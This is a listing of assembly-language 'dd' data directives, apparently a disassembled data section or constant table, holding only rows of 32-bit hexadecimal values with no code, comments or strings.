dd 0A12CC1E5h, 0EEB9EAA9h, 0B117ACDBh, 6264959Ah, 2E7530F3h
dd 0B41E12F4h, 0BCBD47BEh, 8A1D5D54h, 7FFA1014h, 1652A2C8h
dd 0F486964Ch, 0DB85F92Ah, 0FFAFCABDh, 0D1ADD906h, 2906B9F7h
dd 14C162BFh, 32EB8075h, 0D44548BEh, 0CFA34A3Eh, 78EF9F75h
dd 0F07C8F5Eh, 8B51C87Eh, 0D339A17Fh, 3AB49034h, 0C28009E3h
dd 6409AF77h, 819C0FE6h, 0BB2DDB9Bh, 77257BDAh, 0F9647732h
dd 1D3930D7h, 84CCEC1Fh, 207A81ECh, 0FCBE769Fh, 561F5648h
dd 9C94D11h, 926A4289h, 0E10C1Ch, 6474F362h, 0A1006C1Ah
dd 0A808CD1Ah, 0D52F22B9h, 588FB8E0h, 0C834C91Fh, 0DED90D5Ch
dd 502D8A5Eh, 0ECCB70B6h, 0D568227Ch, 787BE3EDh, 177B28A0h
dd 341E7172h, 8AD38CE4h, 707D5A8Ch, 99F171EEh, 2873B60Eh
dd 3925BB46h, 59F178AAh, 1BEC9E79h, 914D5FA0h, 8E29FFA8h
dd 38D56B1Fh, 3F662025h, 9494F7A7h, 2C428272h, 5A3E2C86h
dd 2B678AFBh, 0FC9240E8h, 0DBB37A5Bh, 26D664B4h, 5E2459Ch
dd 861F259Ah, 0C1E11D36h, 31D5FA51h, 90871CDEh, 14CE3C3h
dd 651D4A18h, 74A8C2ADh, 11B713E2h, 0E2575E60h, 2E838175h
dd 0FB7739h, 2F52D1DAh, 27C7A8AAh, 0E1F526DAh, 1F2BB576h
dd 8C1B7689h, 8EA52F55h, 0CFE76661h, 0E5FC654Dh, 0EEA32C98h
dd 0A6196B65h, 9D99839Ah, 0CB47F912h, 0B468E016h, 332F2C4h
dd 96D2F540h, 54729D0Dh, 6E0F9200h, 1465E801h, 5780DF4Bh
dd 91E4AC1Ch, 95AAA87Ah, 9B0C6A4Bh, 722CF8C3h, 0DC18CCB0h
dd 1FC9A6C0h, 6944F377h
dd 0F1096252h, 0E1EB2B35h, 9519619Ah, 62A0F3FAh, 0A1EED8A1h
dd 925ABFC7h, 8A5B9DE6h, 5E11979Dh, 0F0124E7h, 0EE8C5361h
dd 0FB4E101h, 15085085h, 5F12F3DDh, 0A12BC4B0h, 69EE06EBh
dd 0B61D3758h, 24DAEA98h, 7A1FB1B0h, 3183A32Ch, 0E5E71DDBh
dd 0F087CA9Bh, 0CA73B8FBh, 7EBFE807h, 3A338191h, 0B1CE349Ah
dd 6E1EAC52h, 0CF482098h, 3EA34F6Ah, 9A098476h, 416D72BCh
dd 0E146FBACh, 3C895BF5h, 0BCF3F5DAh, 260B92EFh, 0A6D1289Eh
dd 0CA38B8DDh, 3EB3EF40h, 6278F958h, 0EB6BC65Bh, 1D6719BAh
dd 69688A4Bh, 3752FBDh, 7564D181h, 0B8BC4AB9h, 160527EAh
dd 17DB5E16h, 8E2B6559h, 122AB006h, 0B0593FC5h, 0F22A8DA4h
dd 0BF158691h, 0AC2C3D40h, 26A149D1h, 0B3BDBECFh, 2F284D92h
dd 2BF1796Bh, 0E8214316h, 0BA71781Ch, 1E7418A7h, 0E9EED145h
dd 0ACDE9201h, 608AA675h, 90CF60C2h, 0E058A909h, 77F65BD0h
dd 4D2F2E9Dh, 7CC3E6B0h, 8097BDDEh, 4C54D286h, 0E1A72126h
dd 0C11F6520h, 0C393B153h, 13142FAh, 0B6128419h, 29DA9454h
dd 9C169628h, 4BB4E67Eh, 0B2569654h, 65128CA1h, 0B014702Dh
dd 35E828B1h, 1AB672B9h, 8ABF03C1h, 0ECEE8B91h, 0EE633B83h
dd 859E3C3Bh, 0C7FBF37h, 0DC7C3A3h, 0DF4E2C4Fh, 0A62EDDB3h
dd 7E8FEF37h, 0BE904929h, 0C898DDFh, 0DB7CDD73h, 4EEC5734h
dd 356457C6h, 4A67CA2Ch, 0D125A691h, 1ACCA3C9h, 52415B2h
dd 7D5C872Dh, 0B26C427Ch, 9EC58DA2h, 33A546F2h, 0E6898094h
dd 0B37D8EF5h, 0CE9386D0h, 31177C00h, 1355BB86h, 734420EBh
dd 9C3B1CDEh, 0E3730CD2h, 849CA3A5h, 642D20E3h, 0B44BC275h
dd 87CD889Ch, 8F0073A4h, 3EF359B8h, 0C9F96511h, 710FF278h
dd 251BCA37h, 70E200C4h, 0DC4C96C6h, 0A55DC39Dh, 0B034152Dh
dd 14CD699Ch, 8960918Bh, 2C264C8h, 0EA32A6C7h, 8E97B259h
dd 39B76CCAh, 0E3D5C598h, 0D20C13C0h, 136FE233h, 0A656B76Eh
dd 0D4778257h, 0DC9E81C7h, 560D6B3h, 0A0A045ECh, 0ABC52527h
dd 0C8B7B7C1h, 0C67ED5C1h, 4D6BFD61h, 9C6568B6h, 940EA450h
dd 5D1FCD11h, 17F52B4Dh, 0CCD5BD0Bh, 85653EFAh, 84499C9Ah
dd 0E71810DDh, 0EDBAC6C9h, 7EE6DA56h, 0F94AAE42h, 0B7189980h
dd 0AD2E4722h, 1AAE8F96h, 0B43F04F7h, 0FCDA149h, 7FE042Fh
dd 9E7B1AFBh, 49FA993h, 25732798h, 88963C5Ch, 2585128Dh
dd 83E6AABCh, 0B3EA3504h, 4D1EC2A4h, 0BB5CF1CEh, 3B557075h
dd 920DB79h, 0C87184E0h, 1FE2104Eh, 87727BA7h, 8C4D7E04h
dd 0D4E8BB5Ch, 1641452Ch, 98FC829Bh, 0CC2B502h, 96796D8h
dd 2FCC9F79h, 0D711D606h, 5BC01132h, 1C353DABh, 8EE69569h
dd 15B897C0h, 81F02D04h, 0E94DA485h, 0B3C07F42h, 24642FBAh
dd 8ED031C7h, 0A9D5EEF5h, 5BE8122Dh, 4DC4DB07h, 0D1AF9643h
dd 0BE61209Ch, 40CBF36Fh, 0D7B2B4BAh, 18D338AEh, 8E2748C2h
dd 2ED801F1h, 0F74E04E4h, 4B07B066h, 431BADF8h, 2C792439h
dd 76271293h, 25FE0447h, 0BF6195F9h, 0C253CC20h, 0CB38D080h
dd 0AFE01856h, 9A269F25h, 8DEAE428h, 77BD1356h, 1BF39DEBh
dd 0B89782EFh, 91D0F3F9h, 3B6C31D6h, 0D789C1ADh, 9E06EFB3h
dd 66161CF3h, 0BAC020B6h, 0AC400F8h, 0CE904E9Ah, 0E05C1906h
dd 0C1AC90C9h, 0B6CF5BE3h, 2E13EB43h, 6A7B4ABh, 94B794C0h
dd 5115F470h, 6EB718ABh, 0CEEC2CABh, 843262ADh, 0E2EF127Eh
dd 0AE8BCC89h, 0E3256CDBh, 0E71C7434h, 0FE9771D5h, 28CC8C39h
dd 0FEC6BDDCh, 99060C10h, 29E0D0E9h, 3CD30394h, 77B4C05Dh
dd 0A5D27ACh, 9433F7E1h, 0ED6A4505h, 0F28524FEh, 5DEB2462h
dd 0F93CDBD1h, 23DE6458h, 0EA6E158h, 0C07DCE65h, 6DDF2ACCh
dd 1DFDC83h, 1457289Eh, 8BD64EE1h, 0B34B9C7Dh, 0CEF44CDh
dd 0D363E4F4h, 3B1DFE63h, 3DC7C682h, 4A4798A5h, 6CDE6C18h
dd 873F67E1h, 245EE5E1h, 7A435D8Bh, 160CDE7Eh, 0B5F4D28Bh
dd 31A469C3h, 7E80B2CEh, 93509D23h, 2704FC8Bh, 0A4E528C9h
dd 0F7FB76EEh, 3EE77399h, 4C01CEB5h, 0EB8BA75Ch, 418C344h
dd 43FDEF62h, 5C1D82EBh, 40ABDD6Eh, 68F312D2h, 0A832D428h
dd 8AAC9955h, 3B3AD808h, 6B24F479h, 42637DD2h, 0B8F47E2Bh
dd 36C99DD8h, 63F7640Eh, 948AFB9Eh, 586CED6Eh, 8B219F60h
dd 822012CDh, 0E306EBF6h, 0F5E23B9Ch, 4D4A5974h, 0E5717B82h
dd 97E85F36h, 0DD2487EFh, 1CC20782h, 0AA6F863Dh, 75DB294Fh
dd 2D6A9BCFh, 0B889BF8Dh, 23DB17DBh, 5E99F5C4h, 56542DFh
dd 0ED06F215h, 6D3186D7h, 0DC6F3ADCh, 0DDE92D86h, 0E41E3D9h
dd 0F917F76Ah, 8E95AF86h, 0C68798F1h, 0A8125988h, 0DFE6DB13h
dd 0AC362D3Ah, 2DD8B3F4h, 57461987h, 1169024Eh, 0DA26A55Ch
dd 6C35EDh, 335AC66h, 90AE0E5Dh, 91AA1D8Dh, 0BCE110B1h
dd 863AC61Bh, 8E9C87BEh, 91298564h, 0CE790A14h, 0C205D821h
dd 0B5323D72h, 58C6FE28h, 0A6CC3C36h, 5277FE2Dh, 5864EC03h
dd 609DA82Ch, 0EA5F151h, 0A333B80Eh, 0E2D1FBD7h, 0B5B7B996h
dd 37E2CB76h, 3C732B40h, 0DCBFF75h, 3309FFEEh, 6E7A4A1Eh
dd 260A4FBDh, 575EE14Dh, 94A0FF56h, 0FF3DC793h, 104D539Ch
dd 96BE4B4Dh, 86136085h, 859D885Dh, 27BB81A2h, 48081FE7h
dd 4961CC7h, 941433Ch, 1F747B46h, 376E2EACh, 0DB7C8DFAh
dd 5D265F88h, 0BF23771Ah, 48D34986h, 0F73AB910h, 5B2A6E82h
dd 48A3DF7Ch, 0C97D2FE4h, 585FF3E3h, 63308932h, 0E67F5D4Eh
dd 0D327ADB1h, 6BD41496h, 0A392742Fh, 493C5345h, 0F98C9675h
dd 0FBA58EECh, 601C78C5h, 8FEA6455h, 0F1779389h, 0E35E8BCFh
dd 0DE03C998h, 0AAB76FF5h, 0F4019662h, 0D5059422h, 7790C445h
dd 6E706613h, 0BFAE721Bh, 0BD1FF421h, 76638F78h, 6F0FE86Eh
dd 4E73DE24h, 0A581FAC6h, 0D4B3482Ah, 0A21C4042h, 8EB14E98h
dd 0B0364FF4h, 0D1EB5251h, 143FFEDEh, 73BDF821h, 2AA2546Dh
dd 812A7DA6h, 644C162Fh, 0B965B46Dh, 0D228F098h, 6729B07Fh
dd 87D798E8h, 0EE1258EDh, 2290F035h, 45570991h, 1A0EBB50h
dd 0B05EA3Fh, 29A011AFh, 0F61A6EEEh, 27C39922h, 0CCBEF827h
dd 0BBDCB448h, 0C38F954h, 0BC3B033Dh, 104C6A5h, 3A749228h
dd 62F04F1Fh, 826AC066h, 0BEC87441h, 0C0DECBFAh, 16431B50h
dd 5EF9FF76h, 0D64A5757h, 6BBAC47Ch, 183DBBB9h, 5A91A387h
dd 0E994CA05h, 0E7DBB26Dh, 732A142Ch, 0C87B5E99h, 33F1B0EFh
dd 0D5223E5Eh, 0BA74CBF6h, 97F73C75h, 8C89520h, 0FEA377E8h
dd 4D485D5Bh, 63F4603Ah, 0A3675872h, 0F4D433FEh, 599CCE9Bh
dd 0D589075h, 8933122Eh, 199D482Ch, 68B490B6h, 8BD8DEDFh
dd 0BEAF5F44h, 2232D786h, 142DE0D6h, 0A482648Dh, 51A0C595h
dd 93314E61h, 63CCD5CDh, 0AFF88AEh, 7C3504F8h, 0B78CD173h
dd 83AFFE0Ch, 62AAED2Eh, 5AFCDB36h, 22E486AEh, 0C3A8162Ch
dd 0EA5886FBh, 33DFEF45h, 0A7C497F7h, 1B392F85h, 0E04CD108h
dd 0FCCAA12Eh, 5B275D37h, 0D8E72B48h, 1E2CF46Ch, 4C84E5D1h
dd 1F5B8F1Ah, 969A19F3h, 0D502531h, 1FB44E84h, 0DC01480Dh
dd 392D5570h, 0D424A689h, 0EE17720Fh, 0CE148E00h, 0B80BFF8Dh
dd 330965FEh, 5693B955h, 0EA77BBC2h, 0C1DA9CC4h, 566B1862h
dd 0F7B4CF34h, 6A3CA1B0h, 8C660F95h, 3270B3B4h, 0B900C72Ah
dd 0FE095BE3h, 3D3ACDA2h, 0E2FEC03Ch, 4098A51Ah, 0FA9E6953h
dd 17628556h, 0E4EE2276h, 0CB5449A9h, 0A4C3DA84h, 4EF9E7ECh
dd 6C839504h, 0A5FC20EFh
dd 0F44F5CB8h, 0EFFD8E5h, 84D08770h, 0D490B6FFh, 0A9592809h
dd 31DBE34Dh, 4A181C59h, 0B90A70C4h, 98DF05E9h, 1ABA5BF5h
dd 21805BCDh, 46359CE3h, 44F69000h, 26AB5F54h, 1F1E9943h
dd 6FCAF0D6h, 0F851ABD0h, 6B3BBDA1h, 0E7DFA0C2h, 2837558h
dd 45F7CD66h, 584BA679h, 0EE42EC37h, 0E307A47Eh, 46E64C3Ch
dd 0C0C6D89Fh, 0AEA53BF9h, 369E5A8Ch, 0DAEAD5A9h, 5B9469BFh
dd 0C6F5F54h, 6F95ADF8h, 9C3C7E73h, 26FFD959h, 9E4123DCh
dd 9999FC51h, 0CCCCEFAFh, 27A16245h, 0F6E3CDE3h, 22B831AEh
dd 9BBFD595h, 0E82941FCh, 77F3BBD5h, 0F638D186h, 0D6DAF1E2h
dd 7B39A09Dh, 0B6FB1BA6h, 1C328B10h, 0B626B515h, 4778B6A7h
dd 3362412Eh, 1E20A124h, 94642978h, 95D83447h, 0C11D4560h
dd 31F4CDE1h, 89922F2h, 4BAB441Dh, 424DDB03h, 0D0B6C6B4h
dd 51A1DADh, 0B2042C85h, 2B961FBEh, 0D32F3110h, 0CBC5D13Fh
dd 0DAD2C51Ah, 0CA54BD02h, 0C1D0524Bh, 3C476A75h, 63DB2A35h
dd 0B2B63DFCh, 4C7E862h, 8A7ECD2Eh, 5E52D7D4h, 0AD311B24h
dd 23B5354Ah, 3699C098h, 34C115D5h, 71FB21B1h, 0F0776187h
dd 0B23ABD3Bh, 0F94411C0h, 65543C70h, 5B3DE7CDh, 0B5B369Bh
dd 10B0C7D2h, 620F7A36h, 9D659E21h, 4A55F33Fh, 0D93E8CA0h
dd 0BD424E5Eh, 657F5681h, 0D2AF47D3h, 0FEDE8FE4h, 9C3DEE55h
dd 0AAA92983h, 290EA3F2h, 0EEFFB071h, 14B5C383h, 24138E57h
dd 0D82A8D98h, 3A643901h, 67C0D18h, 20816E12h, 0DD431F3Ch
dd 213CB3E2h, 66028854h, 7F997ADCh, 0B916DC6Bh, 0FA663C89h
dd 3EEA93ABh, 55066104h, 8B350B4Dh, 4DDE9506h, 9847273Ch
dd 829FD0AFh, 0E3CBA64Dh, 9CA7903Dh, 84AF0339h, 0BB6F0AA7h
dd 0E85E0A63h, 5F45B0F3h, 0CFA213DAh, 0D41BE15Fh, 0FBC7B1E6h
dd 39099861h, 702279CDh, 0E1894351h, 0A37E29F9h, 48052EFBh
dd 5812EE3h, 0CAAA1137h, 779621Eh, 487D21C0h, 0DD8CE971h
dd 42689702h, 0AB0FDE1Ah, 666DA5B6h, 3F986F9Bh, 0CC340B8Bh
dd 0DE7EDA1Bh, 0F27254D9h, 0D555AB77h, 0F3B59994h, 682AA064h
dd 730AF973h, 830D6964h, 4FD9E0F9h, 7F886805h, 0BA1857B8h
dd 0ACFC444Eh, 0F52A8D7Dh, 5EAB48C5h, 5C65D148h, 0CC2A1AF2h
dd 11AE3DEEh, 7C13EE1Ah, 0F6D71618h, 3128740Fh, 0D669147Dh
dd 0A75DC619h, 0E3F8B951h, 98B3EDA9h, 2212C539h, 6E9E5D6Dh
dd 977A8A7Ah, 5B4F9125h, 7D7C2E57h, 0A026D7FBh, 0A68C7EE2h
dd 0C44CEE51h, 956BA536h, 8D080D08h, 67A3A956h, 0CB2F1168h
dd 6CFE47C9h, 9C022C07h, 0CEDA224Fh, 7FCF31DCh, 479E2F60h
dd 7F5C2383h, 6B0A4399h, 0E7501640h, 0CAEED26Fh, 2741383Eh
dd 12806E1Ah, 5FF0838Ch, 60887EAh, 0F7D01C40h, 0BC5CEED7h
dd 0BB67C88Fh, 94FD5F47h, 73C5705Ch, 5FF93C07h, 627ACB0Eh
dd 15331EFEh, 7B6F326h, 73C48349h, 0F258F41Ah, 3358774Bh
dd 0DF35156Ah, 5368D564h, 75D8D9E7h, 0A1CAC3FDh, 5BD0E6A0h
dd 9DE0AE15h, 0F51A0D1Bh, 8DFCE21Eh, 0A63456C7h, 0F1A74290h
dd 3C08EDEFh, 28F56479h, 7F0AA397h, 1335D088h, 0EE023625h
dd 0D1386B8Fh, 0CFF8BB47h, 0B5CF4A31h, 0D2789FD9h, 0CB6AD622h
dd 660D5FCAh, 0BE889593h, 0FF113587h, 0BA646E92h, 0BA71D14Dh
dd 0A7A68CF9h, 6860A98Dh, 0CE9B842Ch, 0AEA1B199h, 77C860B2h
dd 0A9FFF6EFh, 0EB6A45B1h, 8892EE19h, 6F12A553h, 0C882F1Dh
dd 0B2B6FFA5h, 0D0FD65A1h, 9BEA0B03h, 0A35AD0F2h, 0A70D01FAh
dd 2B7BC9C4h, 5156FCBDh, 0BD0EBE00h, 5C607D0Dh, 0EE3264A0h
dd 69896416h, 10E339Ch, 35A694B0h, 5A586262h, 6659BC7Bh
dd 3DC99A3h, 0F4C1AA4Ah, 8A79DFC5h, 0D8FB20BCh, 1CEDD4A1h
dd 0F3E52FCAh, 56B13EFEh, 7E829C8Bh, 35AE1136h, 9F4B73CEh
dd 9D418DE0h, 0EBE4A599h, 922FE71Ah, 28E599B0h, 38FD857Ah
dd 71325265h, 47DC748Ch, 5B5FE88h, 852583D2h, 64914911h
dd 2858AC6Ah, 61EEE312h, 0D63EE6F2h, 42FB1431h, 0FA3CCDEDh
dd 11687C31h, 0CFE00090h, 0D2BDADBBh, 8C0CE1FDh, 3F8735A8h
dd 9C3AA8CCh, 0DC3C5A59h, 0A83D466Fh, 88324AF2h, 37F519ECh
dd 0F01294DFh, 813E9744h, 0BA778270h, 5ACB166Ah, 2401B063h
dd 7BB4EBC3h, 0D7E99F35h, 22EEB436h, 0CE172710h, 0B5CEBE5Ch
dd 0E6B14666h, 9747FB50h, 0B30A2D3Fh, 4A687904h, 9AE87FA7h
dd 7C5AE2BFh, 4F2940B8h, 0D485891Ah, 96D97B18h, 59FA8709h
dd 382E5B7Bh, 0EE9371Fh, 22A55BE0h, 60216C45h, 0B46466B3h
dd 19E5EEF7h, 8823F32Dh, 0F60C2C28h, 0B48FE40Ah, 0BC6BAF4Ch
dd 0CFD0772h, 0F3EDD206h, 95FEFF93h, 70775382h, 259E2EFEh
dd 9D3FA72Bh, 0D4653B8Ch, 280B9134h, 3B2A7D3Dh, 6303E1DFh
dd 46B6FB2Eh, 243E768Dh, 0EFCBC9CBh, 0FA958F63h, 4FBC0030h
dd 0E7FEFC62h, 28A18671h, 0AFF1A239h, 0DDC090DFh, 0F56B99Fh
dd 0AD30B280h, 2B16D81Ah, 12ED38DAh, 7E810B6Ch, 2461AB34h
dd 0BA0E2E7Ah, 1D582C9Dh, 0F3DBAEB5h, 7CCF448h, 0B93D2758h
dd 46078B84h, 24D39CE1h, 0D945D253h, 540623CAh, 4EA5F100h
dd 0C807FBB5h, 23E4680Ch, 0A3A102DEh, 3A713248h, 90FF118Eh
dd 0B9C8ABAAh, 0F8E72D58h, 0FF1C46B0h, 26D506B2h, 4E6ED3B2h
dd 0C404A96h, 4172D352h, 208C18D0h, 99FB8181h, 0D27E60FEh
dd 7F7899Dh, 0B0E8FA17h, 0A7C5E53Fh, 6E76AE2Ah, 1382306Eh
dd 88BAAECAh, 0FD5328BEh, 49C8AFDDh, 0FC31FC1Dh, 0B7B0842h
dd 43B1E71Dh, 0D39CDB13h, 928B0933h, 392AD40Eh, 0C9978E3Eh
dd 60384BCDh, 0E9C7D4B6h, 0A8E64CBh, 0B627C1D4h, 0E71660A5h
dd 2F4D059Fh, 0F9DCF4DDh, 0BF4AB066h, 66D15E1Dh, 2F626840h
dd 767F47C5h, 0DBD71DB3h, 0D942D31Ch, 759F8449h, 11408358h
dd 70E68FE8h, 77AF2054h, 0BA39859Fh, 8BCE7A46h, 0DEA4DF6Ah
dd 51587631h, 7FC7DA95h, 58E57398h, 0F0A94226h, 63AACBCEh
dd 15BA9F66h, 25FDFEBBh, 0C8D402D2h, 1747ACFFh, 0BCF9AFE3h
dd 0A0493B77h, 0ACF7BF00h, 510DCF99h, 6230AA09h, 12E6B9B5h
dd 0ED74D16Bh, 2E500F48h, 94406764h, 0A291D567h, 0F5B010B2h
dd 7576F5Eh, 0FA0CD72Fh, 7A8E99B8h, 116BA497h, 0E5C86964h
dd 5CDB2B36h, 0A6C8983Bh, 0C0A92F7Bh, 6D8F63BFh, 0C1C785DFh
dd 0C224EDE0h, 0DF7FD997h, 0DF2F3CCCh, 2B775790h, 0A8B0960Fh
dd 9D56DFB6h, 0C5C9C97Eh, 3AF75B9Ah, 553E3F87h, 4E0662DEh
dd 3367D55Eh, 439EF79Ch, 541B41Ch, 0C25B2601h, 0FFA44648h
dd 14EB3B5Bh, 7C8E8755h, 1D9E2A76h, 1B96E62Fh, 0C944B5A8h
dd 2AEB4A3h, 7965281h, 1FED8792h, 5D7296BAh, 9184EDBFh
dd 0BFFBFB38h, 14023507h, 0D322C119h, 14C23847h, 10202DF2h
dd 5A9C7256h, 0FBB95AE7h, 0AD305EF0h, 0C2436614h, 8593D623h
dd 79ADE059h, 0B59FC548h, 0B1446BCDh, 8A19BE81h, 0A296859Fh
dd 0A9653D0Ch, 0B7726F2Ah, 0AF7B97BDh, 84A89D0Dh, 199E5DB0h
dd 0BFB77650h, 98106379h, 35EC594Eh, 0D87E0FE3h, 0E1A03637h
dd 520A545Bh, 86DAD682h, 0C0ABE218h, 0D816E6C1h, 63A4B661h
dd 0B19ED38Dh, 8A048EC8h, 469BF588h, 0D6B1AAEBh, 31117267h
dd 5A24FBE8h, 0C07539A9h, 300CAD61h, 6F9AA11Eh, 11084B73h
dd 5A04E1EAh, 0FFB81421h, 1142A78h, 0BA13EF75h, 335226EDh
dd 74BEA43h, 0B86288A9h, 61FB7D28h, 0ACCD7C2h, 0BB02AA7Fh
dd 0FE525A27h, 4642919Eh, 0F415D86Eh, 0E178AD19h, 64E5DB15h
dd 9AF95846h, 0D7E7160Ah
dd 5CCB4C96h, 1B8909A7h, 0EB112229h, 0FC7B6E8Ch, 38DDD429h
dd 3340561Bh, 87C61F51h, 0B0268FF1h, 0CFB8EDC9h, 7FB6EE0Fh
dd 54A4E296h, 64E7FC1Ch, 0ACA7FC73h, 6F5775C7h, 529400CBh
dd 90433508h, 3323B376h, 0C8CA3516h, 4820768h, 31B90157h
dd 67A8080Ah, 2B7E3DEh, 0EB2092A3h, 0FCDB8A7Dh, 0B9AF30BFh
dd 0EEF89448h, 4625E387h, 73F8C349h, 0F1236C3Ah, 2B908B36h
dd 53ECACACh, 0F9201949h, 87978634h, 0BBF8BFC2h, 5FB2A3E0h
dd 3FF5DFB1h, 4C1CBECAh, 5FA8CC66h, 64D019FAh, 9BD2025Ah
dd 5D26D886h, 0FC86CF5Ch, 877B2DE4h, 0E610FB4Ah, 0E2580319h
dd 88BCC38h, 6FF80FBDh, 4068795Bh, 0C159D0Ah, 29032984h
dd 73A2D484h, 67F59F52h, 1933BC8Eh, 0C300CF9Ch, 309044C6h
dd 0CBEF70D0h, 0C3A62F7Fh, 87802D89h, 612517A9h, 0A201F16Fh
dd 2465A6E9h, 7012D95Bh, 2EB0F364h, 0F3B03685h, 0A252139Eh
dd 0F4B0A46Dh, 0C5B5F4C5h, 0B7279682h, 0E249E3F0h, 0C32CD1FEh
dd 18F330ADh, 0DBD868E5h, 3304B71Eh, 0AB3FA09Ah, 15A60567h
dd 190F9C11h, 0CCBAED95h, 7D9EE57h, 0B6EA3A86h, 0C9AE06EBh
dd 80F0164Fh, 4E43E38Eh, 88742EF6h, 0ED66D2B5h, 7ACA62ABh
dd 267FBE0Ch, 0B03DF934h, 0A9766EFDh, 54BBD616h, 448E88D0h
dd 0BCEE9160h, 1769885Dh, 7F3A3474h, 4F2CE9E3h, 0E2664304h
dd 1C096A4Dh, 0AFFB96E3h, 0FA28B514h, 0D875B63Ah, 3515B463h
dd 0A6C4F19Dh, 455BF928h, 0D6411A22h, 0C95248CEh, 869742A5h
dd 0F5E829B3h, 180238DBh, 0E977FD6Ah, 4B5452BDh, 1F4D1D19h
dd 3B6C6D3Eh, 3371264Dh, 4A2F5F20h, 0BF19AC5Eh, 0B4760A6Ch
dd 71A7255Bh, 40FC712Fh, 6DF3133Bh, 402744C0h, 5A71A837h
dd 229A7C4Eh, 0BF768872h, 1B1B7CC3h, 3A88B414h, 0E9AE4DFEh
dd 70601860h, 8C0D331Bh, 0B043BEC5h, 0B0DBEBFAh, 0C8D6BEFDh
dd 907C8D43h, 0E8BF5309h, 0FE817C20h, 0C3BEE66Ah, 0E3EE1348h
dd 6E73A754h, 6B27D64h, 0D92CC10Dh, 230DA6Bh, 8D80CD1Bh
dd 0CBE3F499h, 4E068E86h, 6857D7B7h, 0DE899B1Ch, 54F46F98h
dd 66647E72h, 21D77374h, 0BACCB62Ah, 0EFC3F09Fh, 0E2D49244h
dd 4E32EFB4h, 0EB84BCEAh, 0FD583072h, 857EF3FAh, 7608B65Fh
dd 28B35BE7h, 720C45C0h, 0B0D233F2h, 88915238h, 0B66F613Ah
dd 0E60CE12Dh, 9612ABFDh, 0ADFBED1Ch, 15CCF688h, 2D021120h
dd 0AD84FB09h, 85B906B1h, 53D2656h, 9ACD24A7h, 80892418h
dd 65C3D4B5h, 16EB4986h, 0BD275D29h, 8E32A746h, 0DE87F647h
dd 435B5C40h, 54ADFC16h, 27ACDAB6h, 0AE7AC0D1h, 0A7BC4BA8h
dd 0E574ADAEh, 0C3E2A1C8h, 81283714h, 0C6F35D11h, 0B56686ABh
dd 0E0D75757h, 7330B695h, 0F784373Ah, 5DF6CF63h, 28D277D9h
dd 0CFB67C17h, 0DF7E4386h, 9821AB8Dh, 0E4B33E85h, 0FB2143C3h
dd 8E65280Bh, 0FD8C6112h, 4749CC9Fh, 621C98A1h, 3DDF36BAh
dd 4FF02D12h, 35BF5EB0h, 0C291AC74h, 4DD482FFh, 9B42BFFCh
dd 0F8AE9095h, 7259CF41h, 472A31A2h, 0BA77DEE7h, 1462C7C6h
dd 0EDF35C7Fh, 9B692D93h, 3C6F29EEh, 0B1CA9049h, 0F09769E5h
dd 7188EB72h, 6D6F6D7Ch, 0D3F82F15h, 6BFFE0D9h, 0E4756EB8h
dd 0A0AB0C70h, 0AFC5E88Bh, 7F676A2h, 1A255651h, 0C18E3944h
dd 90D93C8h, 1A59E269h, 0B2487A97h, 86B0D8AFh, 0BDB766CAh
dd 1CFFF96Ch, 4620412h, 6F172B15h, 6A798C37h, 1D60335Ch
dd 0FD532123h, 313EFD8Ah, 5AA78F47h, 4B0EABC0h, 5861450Eh
dd 1AFE3073h, 0E6C3602h, 2EFB9273h, 0A818B9B9h, 7EBAA3EAh
dd 0F07FAF70h, 1E90736Ah, 0D005FFA0h, 0D86CF184h, 0FD1E332h
dd 0CD67FBB2h, 8471B10Fh, 6EA9EE83h, 0EDE68349h, 0BEC1876Fh
dd 30076A3Ah, 128B587Dh, 3A31DE63h, 7A0311A4h, 3438E33Ch
dd 515FB926h, 876C12CDh, 40429B32h, 718D1EC5h, 51B4AD74h
dd 18637962h, 2290ED02h, 53F33917h, 8BCD6262h, 972BB881h
dd 1BBC94F3h, 5FFE099Bh, 1C9DEEE7h, 40F035F7h, 5E3FA18Eh
dd 0AAE8BBC5h, 0FC3A455Ch, 0EA74F518h, 0C7D341E4h, 7BA656B1h
dd 65677B18h, 3C7E2106h, 1A1EFEB1h, 0BA176F48h, 1448E1EBh
dd 0E310004Fh, 4A28559Eh, 67518460h, 3C18B00h, 0F2F97CB9h
dd 1F38DF1Fh, 0F960C9DEh, 0ECBB282Dh, 55C16EC1h, 667270BBh
dd 0D97852F9h, 0C061B11Eh, 0D063CB23h, 353369A9h, 48C77313h
dd 0B6DDD67Eh, 6FE34042h, 614E8119h, 455D0403h, 0F124C8BDh
dd 0BB56FD9Bh, 9B7FE76Bh, 735B4644h, 0FE488768h, 979C45EAh
dd 994142Dh, 0CA5A13B4h, 42C7B3E7h, 0E9CA287Ch, 0F4CFEC9Ah
dd 9CED8B92h, 2D2C4979h, 0D79013BAh, 579A273h, 0D592710h
dd 0BBB7679Dh, 0B92BC153h, 717D42C7h, 0FDA1CF09h, 690923A5h
dd 208A6AF0h, 0B5BB136h, 931BFC71h, 1BEC884Ch, 0A256BE49h
dd 0E86CB09h, 0CFF02E87h, 8139A063h, 0A6B6ACAFh, 65B5D291h
dd 0F9B1DA6Fh, 0F00E380Ah, 0F8EBCB00h, 0EE6079CAh, 362B1CB1h
dd 7BFECC9Bh, 0BC54643Fh, 95CD0A1Fh, 2327E21Bh, 98629701h
dd 0C80B1DF9h, 3E32872h, 447B5737h, 0BB99664Ah, 58AD213Fh
dd 0A5D0A930h, 6AA29D21h, 9EFAE5BBh, 6ACDC871h, 6985EDF7h
dd 0C8287CA9h, 4435E95Ch, 0CA3F4CA8h, 1B61B931h, 6D66234Dh
dd 5756F26Ah, 123BBC40h, 6014261Bh, 0EC9B39F5h, 0EDC69C7Fh
dd 2D4B40E3h, 0FA6FCD73h, 0FBDE932h, 8713BC5Dh, 35550BA6h
dd 0D8EAD8D7h, 0FDD39C0Fh, 7BF99645h, 0D06C24C7h, 1D3ED682h
dd 36E5153Ch, 0DEE7C909h, 302B712Ch, 0B14D4A38h, 0DC1D6B31h
dd 11E463E2h, 0C4412766h, 0D8DBB860h, 4702C45Eh, 7A2F5158h
dd 0E8724E8Fh, 0AD440CC4h, 7E78C914h, 0DA7E7F34h, 0B4F0D9Fh
dd 0C64A171Ah, 78C04584h, 0A8790E7Eh, 0BBB5B56h, 70185104h
dd 2876E62Eh, 439FE9CAh, 0B6C5FFCFh, 7A658565h, 0AD0E741h
dd 179C601Fh, 0E730BCA5h, 0C164887Ch, 8129DF56h, 12B5F683h
dd 73765DC3h, 95F59E7Eh, 66FA2EF4h, 0C95ACE47h, 54F34854h
